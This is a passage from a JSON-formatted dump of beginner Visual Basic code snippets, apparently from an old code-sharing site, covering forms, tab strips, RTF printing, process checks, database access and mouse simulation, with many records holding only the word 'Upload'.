false"},{"WorldId":1,"id":2389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2392,"LineNumber":1,"line":"Sub LoadEXE(Dir As String)\n On Error GoTo err:\n X% = Shell(Dir, 1): NoFreeze% = DoEvents(): Exit Sub\nExit Sub\nerr:\n'make your own error messages like mine below, or use the default:\nIf err.Number = 6 Then Exit Sub\nMsgBox \"Please make sure that the application you are trying to launch is located in the correct folder.\" & vbCrLf & \"If not, do this and retry launching the application.\", vbExclamation\n 'default: MsgBox \"Error:\" & vbCrLf & err.Description & vbCrLf & err.Number, vbExclamation\n \nEnd Sub"},{"WorldId":1,"id":3221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2406,"LineNumber":1,"line":"For this project you will need:\n1 Form - People\n1 Command button - cmdexit\n1 TabStrip - TabStrip1 (default)\n Place 4 tabs onto the tabstrip\n4 Pictureboxes (in an array)\n A) Picture1(1)\n B) Picture1(2)\n C) Picture1(3)\n D) Picture1(4)\n \nConst Numtabs = 4 'Set the number of tabs\nDim x as Integer\n \n'''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub cmdexit_Click()\n Unload People\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub Form_Load()\n On Error Resume Next\n People.Height = 3375 'Set the size of your form\n People.Width = 4900\n For x = 1 To Numtabs 'Loop through the tabs\n With Picture1(x)\n .BorderStyle = 0\n .Left = TabStrip1.ClientLeft\n .Top = TabStrip1.ClientTop\n .Width = TabStrip1.ClientWidth\n .Height = TabStrip1.ClientHeight\n .Visible = False\n End With\n Next x\n TabStrip1.Tabs(1).Selected = True 'Form loads with first tab selected\n Picture1(TabStrip1.SelectedItem.Index).Visible = True 'Show first container\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub TabStrip1_Click()\n 'This procedure determines which tab is selected\n 'and what tab container should be shown\n \n Static PrevTab As Integer\n PrevTab = Switch(PrevTab = 0, 1, PrevTab >= 1 And PrevTab <= Numtabs, PrevTab)\n Picture1(PrevTab).Visible = False\n Picture1(TabStrip1.SelectedItem.Index).Visible = True\n Picture1(TabStrip1.SelectedItem.Index).Refresh\n PrevTab = TabStrip1.SelectedItem.Index\nEnd Sub\n'If you have any questions or problems, contact me:\n'Zombiehead@earthlink.net\n'http://home.earthlink.net/~zombiehead/vbexamples.htm\n"},{"WorldId":1,"id":2409,"LineNumber":1,"line":"Private Sub Text1_KeyPress(KeyAscii As Integer)\nSelect Case KeyAscii\n Case 48 To 57\n Case 8\n Case Else\n Beep\n MsgBox \"Visit:http://members.xoom.com/RYANMP5/ for more code!\"\n KeyAscii = 0\n End Select"},{"WorldId":1,"id":2410,"LineNumber":1,"line":"gsUserId = ClipNull(GetUser())\nFunction GetUser() As String\n Dim lpUserID As String\n Dim nBuffer As Long\n Dim Ret As Long\n lpUserID = String(25, 0)\n nBuffer = 25\n Ret = GetUserName(lpUserID, nBuffer)\n If Ret Then\n GetUser$ = lpUserID$\n End If\nEnd Function\nFunction ClipNull(InString As String) As String\n Dim intpos As Integer\n If Len(InString) Then\n intpos = InStr(InString, vbNullChar)\n If intpos > 0 Then\n ClipNull = Left(InString, intpos - 1)\n Else\n ClipNull = InString\n End If\n End If\nEnd Function\n"},{"WorldId":1,"id":6469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2600,"LineNumber":1,"line":"'By Jim Sivage \n'\n'ISO Global\n'http://www.isoglobal.com\n'\n'\n'Make f$ equal to folder you're testing.\n'\nf$ = \"C:\\WINDOWS\"\ndirFolder = Dir(f$, vbDirectory)\nIf dirFolder <> \"\" Then\n strmsg = MsgBox(\"This folder already exists.\", vbCritical):goto optout\nEnd If\n'directory exists action here\noptout:\n"},{"WorldId":1,"id":2435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2472,"LineNumber":1,"line":"'This is where the printing is called - assumes a form or UserControl with Windows common dialog control called dlgPrint, a rich text box called rtbText and a command button called cmdPrint\n \nPrivate Sub cmdPrint_Click()\n dlgPrint.Flags = cdlPDReturnDC + cdlPDNoPageNums\n If rtbText.SelLength = 0 Then\n dlgPrint.Flags = dlgPrint.Flags + cdlPDAllPages\n Else\n dlgPrint.Flags = dlgPrint.Flags + cdlPDSelection\n End If\n dlgPrint.ShowPrinter\n \n PrintRTF rtbText, 1440, 1440, 1440, 1440 ' 1440 Twips = 1 Inch\nEnd Sub\n'Printing constants - these should go in form or UserControl Declarations\nPrivate Const WM_USER As Long = &H400\nPrivate Const EM_FORMATRANGE As Long = WM_USER + 57\nPrivate Const EM_SETTARGETDEVICE As Long = WM_USER + 72\nPrivate Const PHYSICALOFFSETX As Long = 112\nPrivate Const PHYSICALOFFSETY As Long = 113\nPrivate Type Rect\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Type CharRange\n cpMin As Long ' First character of range (0 For start of doc)\n cpMax As Long ' Last character of range (-1 For End of doc)\nEnd Type\nPrivate Type FormatRange\n hdc As Long ' Actual DC to draw on\n hdcTarget As Long ' Target DC For determining text formatting\n rc As Rect ' Region of the DC to draw to (in twips)\n rcPage As Rect ' Region of the entire DC (page size) (in twips)\n chrg As CharRange ' Range of text to draw (see above declaration)\nEnd Type\n \nPrivate Declare Function GetDeviceCaps Lib \"gdi32\" ( _\n ByVal hdc As Long, ByVal nIndex As Long) As Long\nPrivate Declare Function SendMessage Lib \"USER32\" Alias \"SendMessageA\" _\n (ByVal hWnd As Long, ByVal msg As Long, ByVal wp As Long, _\n lp As Any) As Long\nPrivate Declare Function CreateDC Lib \"gdi32\" Alias \"CreateDCA\" _\n (ByVal lpDriverName As String, ByVal lpDeviceName As String, _\n ByVal lpOutput As Long, ByVal lpInitData As Long) As Long\n'Routine that does the printing\nPrivate Sub PrintRTF(RTF As RichTextBox, LeftMarginWidth As Long, TopMarginHeight, _\n RightMarginWidth, BottomMarginHeight)\n \n On Error GoTo ErrorHandler\n \n Dim LeftOffset As Long, TopOffset As Long\n Dim LeftMargin As Long, TopMargin As Long\n Dim RightMargin As Long, BottomMargin As Long\n Dim fr As FormatRange\n Dim rcDrawTo As Rect\n Dim rcPage As Rect\n Dim TextLength As Long\n Dim NextCharPosition As Long\n Dim R As Long\n \n ' Start a print job to get a valid Printer.hDC\n Printer.Print Space(1)\n Printer.ScaleMode = vbTwips\n \n ' Get the offsett to the printable area on the page in twips\n LeftOffset = Printer.ScaleX(GetDeviceCaps(Printer.hdc, _\n PHYSICALOFFSETX), vbPixels, vbTwips)\n TopOffset = Printer.ScaleY(GetDeviceCaps(Printer.hdc, _\n PHYSICALOFFSETY), vbPixels, vbTwips)\n \n ' Calculate the Left, Top, Right, and Bottom margins\n LeftMargin = LeftMarginWidth - LeftOffset\n TopMargin = TopMarginHeight - TopOffset\n RightMargin = (Printer.Width - RightMarginWidth) - LeftOffset\n BottomMargin = (Printer.Height - BottomMarginHeight) - TopOffset\n \n ' Set printable area rect\n rcPage.Left = 0\n rcPage.Top = 0\n rcPage.Right = Printer.ScaleWidth\n rcPage.Bottom = Printer.ScaleHeight\n \n ' Set rect in which to print (relative to printable area)\n rcDrawTo.Left = LeftMargin\n rcDrawTo.Top = TopMargin\n rcDrawTo.Right = RightMargin\n rcDrawTo.Bottom = BottomMargin\n \n ' Set up the print instructions\n fr.hdc = Printer.hdc ' Use the same DC For measuring and rendering\n fr.hdcTarget = Printer.hdc ' Point at printer hDC\n fr.rc = rcDrawTo ' Indicate the area On page to draw to\n fr.rcPage = rcPage ' Indicate entire size of page\n fr.chrg.cpMin = 0 ' Indicate start of text through\n fr.chrg.cpMax = -1 ' End of the text\n \n ' Get length of text in RTF\n TextLength = Len(RTF.Text)\n ' Loop printing each page until done\n Do\n ' Print the page by sending EM_FORMATRANGE message\n NextCharPosition = SendMessage(RTF.hWnd, EM_FORMATRANGE, True, fr)\n If NextCharPosition >= TextLength Then Exit Do 'If done then exit\n fr.chrg.cpMin = NextCharPosition ' Starting position For next page\n Printer.NewPage ' Move On to Next page\n Printer.Print Space(1) ' Re-initialize hDC\n fr.hdc = Printer.hdc\n fr.hdcTarget = Printer.hdc\n Loop\n \n ' Commit the print job\n Printer.EndDoc\n \n ' Allow the RTF to free up memory\n R = SendMessage(RTF.hWnd, EM_FORMATRANGE, False, ByVal CLng(0))\n \nErrorHandler:\n\nEnd Sub\n"},{"WorldId":1,"id":7775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2894,"LineNumber":1,"line":"'// Please visit my homepage http://hem.passagen.se/tonek/vb\n'// and check out other sources i made..\n'// Martin Tonek <tonek@hem.passagen.se>\nPrivate Sub Form_Load()\n'// This will lock the control so you cant make any changes\n'// in runmode , false open it up.. default is false\nText1.Locked = True\nText1.Text = \"you can scroll and highlight the text in the control\" & _\n\" but you can't edit it. The program can still modify the text by \" & _\n\"changing the Text property\"\nEnd Sub\n'// I find it in the helpfile...so now you now how. Also want to add that\n'// all people using the keyascii code.. this one is better...\n'// neet little code free to use\n'// Wonder why people is so upset. I just tell this one..\n'// so a lot of people that do not use it when it is avalible may use it.\n"},{"WorldId":1,"id":5449,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' IsProcessRunning\n'\n' Date: 07/13/1999\n' Comapany: WEI \n' Web Site: http://www.winkenterprises.com\n' Author: James N.Wink\n' Email: james@winkenterprises.com\n'\n' Description: Used to determine if a process is running.\n'\n' Input: EXEName - String EXE name of the Process\n'\n' Output: IsProcessRunning - Boolean Returns True if running\n'\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPublic Function IsProcessRunning(ByVal EXEName As String) As Boolean\n 'Used if Win 95 is detected\n Dim booResult As Boolean\n Dim lngLength As Long\n Dim lngProcessID As Long\n Dim strProcessName As String\n Dim lngSnapHwnd As Long\n Dim udtProcEntry As PROCESSENTRY32\n 'Used if NT is detected\n Dim lngCBSize As Long 'Specifies the size, in bytes, of the lpidProcess array\n Dim lngCBSizeReturned As Long 'Receives the number of bytes returned\n Dim lngNumElements As Long\n Dim lngProcessIDs() As Long\n Dim lngCBSize2 As Long\n Dim lngModules(1 To 200) As Long\n Dim lngReturn As Long\n Dim strModuleName As String\n Dim lngSize As Long\n Dim lngHwndProcess As Long\n Dim lngLoop As Long\n 'Turn on Error handler\n On Error GoTo IsProcessRunning_Error\n \n booResult = False\n \n EXEName = UCase$(Trim$(EXEName)) \n lngLength = Len(EXEName)\n \nSelect Case getVersion()\n Case WIN95_System_Found 'Windows 95/98\n 'Get SnapShot of Threads\n lngSnapHwnd = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)\n 'Check to see if SnapShot was made\n If lngSnapHwnd = hNull Then GoTo IsProcessRunning_Exit\n 'Set Size in UDT, must be done, prior to calling API\n udtProcEntry.dwSize = Len(udtProcEntry)\n ' Get First Process\n lngProcessID = Process32First(lngSnapHwnd, udtProcEntry)\n Do While lngProcessID\n 'Get Full Path Process Name\n strProcessName = StrZToStr(udtProcEntry.szExeFile)\n 'Check for Matching Upper case result\n \n strProcessName = Ucase$(Trim$(strProcessName))\n If Right$(strProcessName, lngLength) = EXEName Then\n 'Found\n booResult = True\n GoTo IsProcessRunning_Exit\n End If\n 'Not found, get next Process\n lngProcessID = Process32Next(lngSnapHwnd, udtProcEntry)\n Loop\n Case WINNT_System_Found 'Windows NT\n 'Get the array containing the process id's for each process objec\n ' t\n 'Set Default Size\n lngCBSize = 8 ' Really needs to be 16, but Loop will increment prior to calling API\n lngCBSizeReturned = 96\n 'Check to see if Process ID's were returned\n Do While lngCBSize <= lngCBSizeReturned\n 'Increment Size\n lngCBSize = lngCBSize * 2\n 'Allocate Memory for Array\n ReDim lngProcessIDs(lngCBSize / 4) As Long\n 'Get Process ID's\n lngReturn = EnumProcesses(lngProcessIDs(1), lngCBSize, lngCBSizeReturned)\n Loop\n 'Count number of processes returned\n lngNumElements = lngCBSizeReturned / 4\n 'Loop thru each process\n For lngLoop = 1 To lngNumElements\n 'Get a handle to the Process and Open\n lngHwndProcess = OpenProcess(PROCESS_QUERY_INFORMATION _\n Or PROCESS_VM_READ, 0, lngProcessIDs(lngLoop))\n 'Check to see if Process handle was returned\n If lngHwndProcess <> 0 Then\n 'Get an array of the module handles for the specified process\n lngReturn = EnumProcessModules(lngHwndProcess, lngModules(1), 200, lngCBSize2)\n 'If the Module Array is retrieved, Get the ModuleFileName\n If lngReturn <> 0 Then\n 'Buffer with spaces first to allocate memory for byte array\n strModuleName = Space(MAX_PATH)\n 'Must be set prior to calling API\n lngSize = 500\n 'Get Process Name\n lngReturn = GetModuleFileNameExA(lngHwndProcess, lngModules(1), _\n strModuleName, lngSize)\n 'Remove trailing spaces\n strProcessName = Left(strModuleName, lngReturn)\n 'Check for Matching Upper case result\n strProcessName = UCase$(Trim$(strProcessName))\n If Right$(strProcessName, lngLength) = EXEName Then\n 'Found\n booResult = True\n GoTo IsProcessRunning_Exit\n End If\n End If\n End If\n 'Close the handle to this process\n lngReturn = CloseHandle(lngHwndProcess)\n Next\n End Select\nGoTo IsProcessRunning_Exit\nIsProcessRunning_Error:\nErr.Clear\nbooResult = False\nIsProcessRunning_Exit:\n'Turn off Error handler\nOn Error GoTo 0\nIsProcessRunning = booResult\nEnd Function\nPrivate Function getVersion() As Long\n \n Dim osinfo As OSVERSIONINFO\n Dim retvalue As Integer\n \n osinfo.dwOSVersionInfoSize = 148\n osinfo.szCSDVersion = Space$(128)\n retvalue = GetVersionExA(osinfo)\n getVersion = osinfo.dwPlatformId\nEnd Function\nPrivate Function StrZToStr(s As String) As String\n StrZToStr = Left$(s, Len(s) - 1)\nEnd Function\n"},{"WorldId":1,"id":5966,"LineNumber":1,"line":"'DAO Example \n'First Open a updateable recordset\nSet rs = db.OpenRecordset(\"SomeTable\")\n With rs\n 'Start a New Record\n .AddNew\n !Field2 = \"Add your data for this new record\" \n 'Add the record to the database\n .Update\n \n 'Set the bookmark to Last modified\n .Bookmark = .LastModified\n \n lngResult = rs!AutoNumberUID\n End With\n \n rs.Close\n'Ado Example\n Set mrsMDB = New ADODB.Recordset\n \n mrsMDB.CursorType = adOpenKeyset\n mrsMDB.LockType = adLockOptimistic\n mrsMDB.Open \"SomeTable\", mcnnMDB, , , adCmdTable\n \n With mrsMDB\n .AddNew\n !Field2 = \"Add your Data for this record\"\n .Update\n varBkMark = .Bookmark\n .Requery\n .Bookmark = varBkMark\n lngNewUID = !AutoNumberUID\n \n End With\n\n"},{"WorldId":1,"id":2856,"LineNumber":1,"line":"Public Function AnyDup(NumList As Variant) As Boolean\n Dim a As Long, b As Long\n 'Start the first loop\n For a = LBound(NumList) To UBound(NumList)\n 'Start the second loop (thanks for the suggestions everyone)\n For b = a + 1 To UBound(NumList)\n 'Check if the values are the same\n 'if they're equal, then we found a duplicate\n 'tell the user and end the function\n If NumList(a) = NumList(b) Then AnyDup = True: Exit Function\n Next\n Next\nEnd Function"},{"WorldId":1,"id":2795,"LineNumber":1,"line":"Public Function GetX() As Long\n Dim n As POINTAPI\n GetCursorPos n\n GetX = n.x\nEnd Function\nPublic Function GetY() As Long\n Dim n As POINTAPI\n GetCursorPos n\n GetY = n.y\nEnd Function\nPublic Sub LeftClick()\n LeftDown\n LeftUp\nEnd Sub\nPublic Sub LeftDown()\n mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0\nEnd Sub\nPublic Sub LeftUp()\n mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0\nEnd Sub\nPublic Sub MiddleClick()\n MiddleDown\n MiddleUp\nEnd Sub\nPublic Sub MiddleDown()\n mouse_event MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0\nEnd Sub\nPublic Sub MiddleUp()\n mouse_event MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0\nEnd Sub\nPublic Sub MoveMouse(xMove As Long, yMove As Long)\n mouse_event MOUSEEVENTF_MOVE, xMove, yMove, 0, 0\nEnd Sub\nPublic Sub RightClick()\n RightDown\n RightUp\nEnd Sub\nPublic Sub RightDown()\nmouse_event MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0\nEnd Sub\nPublic Sub RightUp()\n mouse_event MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0\nEnd Sub\nPublic Sub SetMousePos(xPos As Long, yPos As Long)\n SetCursorPos xPos, yPos\nEnd Sub"},{"WorldId":1,"id":2478,"LineNumber":1,"line":"'Browse For Folder - the easy way\n'\n'Providing your users an elegant method of selecting a folder(as working\n'directory, or to save/load files to/from, or....) is often desired, but\n'hard to implement. Cumbersome SHFileOpen routines, or complicated\n'hand-made alternatives are needed. Pardon... were needed.\n'Although it is said at several places, including Microsoft (!), you can't\n'do \"Browse for Folder\" with a Common Dialog control, I'll show you it can be\n'done. Quick and Easy. And with very familiar interface to the users, including\n'all standard options for navigating and browsing - even creation of a new folder\n'and use of network paths.\n'\n'Start a new VB6 project, and put a CommandButton and a CommonDialog control on\n'the form. Paste in this code and you're ready to go.\n'(c)1999 John Tegelaar, The Netherlands\nOption Explicit\nDim sTempDir As String\nDim sMyNewDirectory As String\nPrivate Sub Command1_Click()\n'Set up the CommonDialog control\nOn Local Error Resume Next 'Don't break on errors here\nsTempDir = CurDir 'Store the current active directory\nCommonDialog1.DialogTitle = \"Select a directory\" 'Titlebar caption\nCommonDialog1.InitDir = App.Path 'Folder to start with, might be \"C:\\\" or so also\nCommonDialog1.FileName = \"Select a Directory\" 'Put something in filenamebox\nCommonDialog1.Flags = cdlOFNNoValidate + cdlOFNHideReadOnly 'Set CD Flags\n'Here comes the big trick\nCommonDialog1.Filter = \"Folders|*.~#!\"\n'This reads as \"show the user 'Folders' as filetype\", while the files-filter\n'is specified as being an impossible filetype. This causes the dialog to show\n'folders only (as there's no matching file found).\nCommonDialog1.CancelError = True 'allow escape key/cancel\nCommonDialog1.ShowSave 'show the dialog.\n'Note: ShowSave has more approperiate button captions then ShowOpen in this case.\nIf Err <> 32755 Then 'User didn't chose Cancel.\n sMyNewDirectory = CurDir 'CurDir has been changed to the selected one\n \n MsgBox (\"Directory selected: \" & sMyNewDirectory) 'Show the result\nEnd If\nChDir sTempDir 'restore path to what it was at entering\n\nEnd Sub\n"},{"WorldId":1,"id":2487,"LineNumber":1,"line":"'add following code to your form\nVERSION 4.00\nBegin VB.Form Form1 \n Caption = \"Very simple picture viewer\"\n ClientHeight = 9450\n ClientLeft = 1140\n ClientTop = 1515\n ClientWidth = 11460\n Height = 9855\n Left = 1080\n LinkTopic = \"Form1\"\n ScaleHeight = 9450\n ScaleWidth = 11460\n Top = 1170\n Width = 11580\n Begin VB.PictureBox Picture1 \n AutoSize = -1 'True\n Height = 9135\n Left = 1680\n ScaleHeight = 9075\n ScaleWidth = 9675\n TabIndex = 3\n Top = 120\n Width = 9735\n End\n Begin VB.FileListBox File1 \n Height = 6300\n Left = 0\n TabIndex = 2\n Top = 3000\n Width = 1575\n End\n Begin VB.DirListBox Dir1 \n Height = 2505\n Left = 0\n TabIndex = 1\n Top = 480\n Width = 1575\n End\n Begin VB.DriveListBox Drive1 \n Height = 315\n Left = 0\n TabIndex = 0\n Top = 120\n Width = 1575\n End\nEnd\nAttribute VB_Name = \"Form1\"\nAttribute VB_Creatable = False\nAttribute VB_Exposed = False\nPrivate Sub Dir1_Change()\nFile1.Path = Dir1.Path\nEnd Sub\nPrivate Sub Drive1_Change()\nDir1.Path = Drive1.Drive\nEnd Sub\nPrivate Sub File1_Click()\nOn Error Resume Next ' if not supported picture format, don't show it\nPicture1.Picture = LoadPicture(Dir1.Path + \"\\\" + File1.filename)\nEnd Sub\n"},{"WorldId":1,"id":2533,"LineNumber":1,"line":"form2.show 1 'place this in the button or link"},{"WorldId":1,"id":2561,"LineNumber":1,"line":"Top = Screen.Height / 2 - Height / 2\n Left = Screen.Width / 2 - Width / 2"},{"WorldId":1,"id":5479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6644,"LineNumber":1,"line":"Public Function MsgBox(Prompt As String, Optional Buttons As VbMsgBoxStyle = vbOKOnly, Optional Title As String, Optional HelpFile As String, Optional Context As Single, Optional LogToFile As Boolean = False) As VbMsgBoxResult\n Dim strErrorLog As String\n Dim iFileHandle As Integer\n Dim strErrorTitle As String\n Dim iResult As Integer\n \n iFileHandle = FreeFile\n strErrorTitle = App.EXEName & \" : \" & Title\n strErrorLog = App.Path & \"\\\" & App.EXEName & \".log\"\n ' Force error loging on all critical messages\n If (Buttons And vbCritical) Then\n LogToFile = True\n End If\n ' if the user has choosen to log, or it's a critical message, log it\n If LogToFile = True Then\n Open strErrorLog For Append As #iFileHandle\n Print #iFileHandle, Now, Prompt\n Close #iFileHandle\n End If\n ' Call the real message box routine\n iResult = VBA.MsgBox(Prompt, Buttons, strErrorTitle, HelpFile, Context)\n MsgBox = iResult\nEnd Function\n"},{"WorldId":1,"id":2548,"LineNumber":1,"line":"' Three simplified combobox Tasks:\n'\t1. Filling a cboBox with a Recordset\n' \t2. Setting the cboText to a recordset field\n'\t using an numeric recorset field.\n'\t3. Setting the cboText to a recordset field\n'\t using a non-numeric recordset field.\n' \n'\nPublic Sub GetCBOList(cbo As ComboBox)\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Filling a cboBox\n' To make this more dynamic, pass the\n' Sub the Desc as a string, and the ID\n' As a long or integer\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim obj As New cClass\n Dim rst As New ADODB.Recordset\n \n ' I am using a class Method to get\n ' My Recordset. Getlist is a Class \n ' Function that returns a disconnected Recordset\n Set rst = obj.GetList\n \n ' Test the Recordset State to see \n ' it is open.\n If rst.State = 1 Then\n\t' Make sure I don't have an empty rst\n Do Until rst.EOF\n ' Always test for nulls\n If Not IsNull(rst!Desc) Then cbo.AddItem rst!Desc\n If Not IsNull(rst!UomID) Then cbo.ItemData(cbo.NewIndex) = rst!UomID\n ' Forget the movenext and you get an endless loop and\n ' an overflow error.\n rst.MoveNext\n Loop\n \n rst.Close\n End If\n \nFUNCT_EXIT:\n Set obj = Nothing\n Set rst = Nothing\n \n Exit Sub\nFUNCT_ERR:\n Err.Raise Err.Number, Err.Source, Err.Description\n Resume FUNCT_EXIT\nEnd Sub\n\nPublic Sub SetCboText(cbo As ComboBox, val As Variant)\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' PASS THE PROCEDURE A CBO NAME AND A RECORDSET FIELD\n' IF THE FIELD IS IN THE DROP-DOWN LIST IT WILL SET THE TEXT\n' VALUE FOR THAT CBO TO the listItem.\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Dim i As Long\n \n ' LOOP THROUGH CBO Items\n For i = 0 To cbo.ListCount - 1\n If cbo.ItemData(i) = val Then\n cbo.ListIndex = i\n GoTo FUNCT_EXIT\n End If\n Next i\n \nFUNCT_EXIT:\nEnd Sub\n\nPublic Sub SetCboText_NonNumeric(cbo As ComboBox, val As Variant)\n' SUB USES cboBOXES THAT DO NOT HAVE A NUMERIC ITEMDATA VALUE\n' PASS THE PROCEDURE A CBO NAME AND A RECORDSET FIELD\n' IF THE FIELD IS IN THE DROP-DOWN LIST IT WILL SET THE TEXT\n' VALUE FOR THAT FIELD.\n' A good example of Non-Numeric ID is a StateCode: ie.\n' TX, MA, NY...\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n Dim i As Long\n \n ' Loop through the CBO items, remember the cbo & lstBox\n ' are zero based lists\n For i = 0 To cbo.ListCount - 1\n If cbo.List(i) = val Then\n cbo.Text = cbo.List(i)\n ' DoEvents isn't really necessary\n DoEvents\n GoTo FUNCT_EXIT\n End If\n Next i\n \nFUNCT_EXIT:\nEnd Sub\n"},{"WorldId":1,"id":2626,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'FORM cTest\n'AUTHOR Mark Freni\n'DESC Class to hold tblTest Functions,\n' procedures, and variables\n'FUNCTIONS GetList, Update, Add \n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nOption Explicit\n Public Type UdtTest\n\t' If the table has many fields this becomes\n\t' very convenient\n TestID As Long\n Field_1 As String\n Field_2 As Integer\n Active As Boolean\n End Type\n \nPublic Function GetList(Optional ByVal _\n ReturnAll As Boolean = False) As ADODB.Recordset\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Function : GetList\n' Purpose : Provide a disconnected recordset of tblTest \n' Author : Mark Freni\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim conn As New ADODB.Connection\n Dim strSql As String\n Dim rst As New ADODB.Recordset\n \n strSql = \"SELECT * FROM tblTest\"\n \n If ReturnAll Then\n strSql = strSql & \" Where Active\"\n End If\n \n With conn\n .CursorLocation = adUseClient\n .ConnectionString = strConnect\n End With\n \n conn.Open\n \n With rst\n .CursorLocation = adUseClient\n .LockType = adLockBatchOptimistic\n .CursorType = adOpenKeyset\n End With\n \n '~OPEN THE RECORDSET\n rst.Open strSql, conn\n \n Set rst.ActiveConnection = Nothing\n Set GetList = rst\n \nFUNCT_EXIT:\n Set conn = Nothing\n Exit Function\n \nFUNCT_ERR:\n Err.Raise Err.Number, Err.Source, Err.Description\n Resume FUNCT_EXIT\nEnd Function\nPublic Function Add(udt As UdtTest) As Boolean\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Function : Add\n' Purpose : Add a Record to tblTest \n' Author : Mark Freni\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim conn As New ADODB.Connection\n Dim rst As New ADODB.Recordset\n Dim strSql As String\n \n conn.Open strConnect\n rst.CursorLocation = adUseClient\n rst.CursorType = adOpenKeyset\n rst.LockType = adLockBatchOptimistic\n \n rst.Open \"tblTest\", conn\n rst.AddNew\n \n With udt\n\t' I don't need to worry about setting quotes\n\t' using this method, the UDT tells the \n\t' recordset what datatypes the values are\n If Len(.Field_1) > 0 then rst(\"Field_1\") = .Field_1\n If Len(.Field_2) > 0 then rst(\"Field_2\") = .Field_2\n End With\n rst.UpdateBatch\n \n If rst.STATE = 1 Then rst.Close\n conn.Close\n \n Add = True\n \nFUNCT_EXIT:\n Set conn = Nothing\n Set rst = Nothing\n Exit Function\nFUNCT_ERR:\n Add = False\n Err.Raise Err.Number, Err.Source, Err.Description\n Resume FUNCT_EXIT\n \nEnd Function\nPublic Function Update(udt As UdtTest) As Boolean\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Function : Update\n' Purpose : Update a Record in tblTest \n' Author : Mark Freni\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim conn As New ADODB.Connection\n Dim rst As New ADODB.Recordset\n Dim strSql As String\n conn.Open strConnect\n rst.CursorLocation = adUseServer\n rst.LockType = adLockBatchOptimistic\n \n strSql = \"SELECT * FROM tblTest WHERE TestID =\" & udt.TestID\n rst.Open strSql, conn\n \n If rst.EOF Then\n Update = False\n GoTo FUNCT_EXIT\n End If\n \n With udt\n If Len(.Field_1) > 0 Then rst(\"Field_1\") = .Field_1\n If Len(.Field_2) > 0 Then rst(\"Field_2\") = .Field_2\n If .Active Then rst(\"Active\") = .Active\n End With\n rst.UpdateBatch\n \n If rst.STATE = 1 Then rst.Close\n conn.Close\n \n Update = True\n \nFUNCT_EXIT:\n Set conn = Nothing\n Exit Function\nFUNCT_ERR:\n Err.Raise Err.Number, Err.Source, Err.Description\n Update = False\n Resume FUNCT_EXIT\n \nEnd Function\n"},{"WorldId":1,"id":8215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2573,"LineNumber":1,"line":"Public Sub SunkenPanel3D(obj As Object)\n ' Gives the effect of sinking the entire\n ' form or picture box, much like a 3d picture\n ' box with border style set to 1 - Fixed Single\n \n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (2, 2)-(obj.ScaleWidth - 1, 2), vb3DDKShadow\n obj.Line (2, 2)-(2, obj.ScaleHeight - 1), vb3DDKShadow\n obj.Line (2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, obj.ScaleHeight 